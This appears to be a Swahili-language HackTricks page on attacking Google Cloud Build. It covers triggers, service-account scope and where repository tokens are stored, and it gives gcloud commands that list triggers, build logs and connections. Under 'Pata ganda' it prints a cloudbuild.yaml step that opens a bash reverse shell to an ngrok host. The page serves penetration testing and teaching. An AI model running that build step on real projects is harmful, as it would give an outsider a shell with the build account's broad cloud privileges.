GCP - Cloud Build Enum

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Google Cloud Build ni jukwaa la CI/CD lililosimamiwa linalo automatisha ujenzi wa programu na mchakato wa kutolewa, likiunganisha na hifadhi ya msimbo chanzo na kusaidia anuwai ya lugha za programu. Inaruhusu watengenezaji kujenga, kujaribu, na kutolea msimbo kiotomatiki huku ikitoa mabadiliko ya kubinafsisha hatua za ujenzi na mifumo ya kazi.

Kila Kichocheo cha Cloud Build kina husiana na Hifadhi ya Cloud au moja kwa moja inaunganishwa na hifadhi ya nje (Github, Bitbucket na Gitlab).

Sikuweza kuona njia yoyote ya kuiba token ya Github/Bitbucket kutoka hapa au kutoka kwa Hifadhi za Cloud kwa sababu wakati hifadhi inapopakuliwa inafikiwa kupitia URL ya https://source.cloud.google.com/ na Github haifikiwi na mteja.

Matukio

Cloud Build inaweza kuzinduliwa ikiwa:

  • Kupakia kwenye tawi: Eleza tawi

  • Kupakia lebo mpya: Eleza lebo

  • Ombi la Kuvuta: Eleza tawi linalopokea PR

  • Mwaliko wa Mwongozo

  • Ujumbe wa Pub/Sub: Eleza mada

  • Tukio la Webhook: Itafunua URL ya HTTPS na ombi lazima liwe limehakikiwa na siri

Utekelezaji

Kuna chaguzi 3:

  • Yaml/json inayoeleza amri za kutekeleza. Kawaida: /cloudbuild.yaml

  • Moja tu inayoweza kuelezwa "moja kwa moja" kwenye konsoli ya wavuti na kwenye cli

  • Chaguo la kawaida zaidi

  • Muhimu kwa ufikiaji usiothibitishwa

  • Dockerfile ya kujenga

  • Buildpack ya kujenga

Ruhusa za SA

Akaunti ya Huduma ina wigo wa cloud-platform, hivyo inaweza kutumia haki zote. Ikiwa hakuna SA inayoelezwa (kama wakati wa kuwasilisha) SA ya chaguo-msingi <nambari-ya-proj@cloudbuild.gserviceaccount.com itatumika.

Kwa chaguo-msingi hakuna ruhusa zinazotolewa lakini ni rahisi kumpa baadhi:

Idhini

Inawezekana kusanidi Cloud Build kuhitaji idhini kwa utekelezaji wa ujenzi (imelemazwa kwa chaguo-msingi).

Idhini za PR

Wakati kichocheo ni PR kwa sababu yeyote anaweza kufanya PR kwa hifadhi za umma ingekuwa hatari sana kuruhusu tu utekelezaji wa kichocheo na PR yoyote. Kwa hivyo, kwa chaguo-msingi, utekelezaji utakuwa wa moja kwa moja kwa wamiliki na wenzake, na ili kutekeleza kichocheo na PR za watumiaji wengine mmiliki au mwenzake lazima atoe maoni /gcbrun.

Uunganisho & Hifadhi

Uunganisho unaweza kuundwa kupitia:

  • GitHub: Itaonyesha dirisha la OAuth likiomba ruhusa ya kupata token ya Github ambayo itahifadhiwa ndani ya Meneja wa Siri.

  • GitHub Enterprise: Itaomba kusanikisha GithubApp. Tokeni ya uthibitishaji kutoka kwa mwenyeji wako wa GitHub Enterprise itaundwa na kuhifadhiwa katika mradi huu kama siri ya Meneja wa Siri.

  • GitLab / Enterprise: Unahitaji kutoa tokeni ya ufikiaji wa API na tokeni ya ufikiaji wa API ya Kusoma ambayo itahifadhiwa katika Meneja wa Siri.

Marapo uunganisho unapoundwa, unaweza kutumia ku unganisha hifadhi ambazo akaunti ya Github ina ufikiaji.

Chaguo hili linapatikana kupitia kitufe:

Tafadhali kumbuka kuwa hifadhi zilizounganishwa kwa njia hii zinapatikana tu katika Kichocheo kinachotumia 2nd generation.

Unganisha Hifadhi

Hii sio sawa na unganisho. Hii inaruhusu njia tofauti za kupata ufikiaji wa hifadhi ya Github au Bitbucket lakini haisababishi kitu cha unganisho, lakini inazalisha kitu cha hifadhi (ya kizazi cha 1).

Chaguo hili linapatikana kupitia kitufe:

Uhifadhi

Wakati mwingine Cloud Build ita zalisha uhifadhi mpya kuhifadhi faili za kichocheo. Hii hutokea kwa mfano katika mfano ambao GCP inatoa na:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Chombo cha kuhifadhi kinachoitwa security-devbox_cloudbuild kimeundwa kuhifadhi .tgz na faili zitakazotumika.

Pata ganda

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Install gcloud ndani ya cloud build:

RUN curl https://sdk.cloud.google.com | bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Uchambuzi

Unaweza kupata maarifa nyeti katika mipangilio ya ujenzi na kwenye magogo.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Kupandisha Mamlaka

pageGCP - Cloudbuild Privesc

Upatikanaji usiothibitishwa

pageGCP - Cloud Build Unauthenticated Enum

Baada ya Uchimbaji

pageGCP - Cloud Build Post Exploitation
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated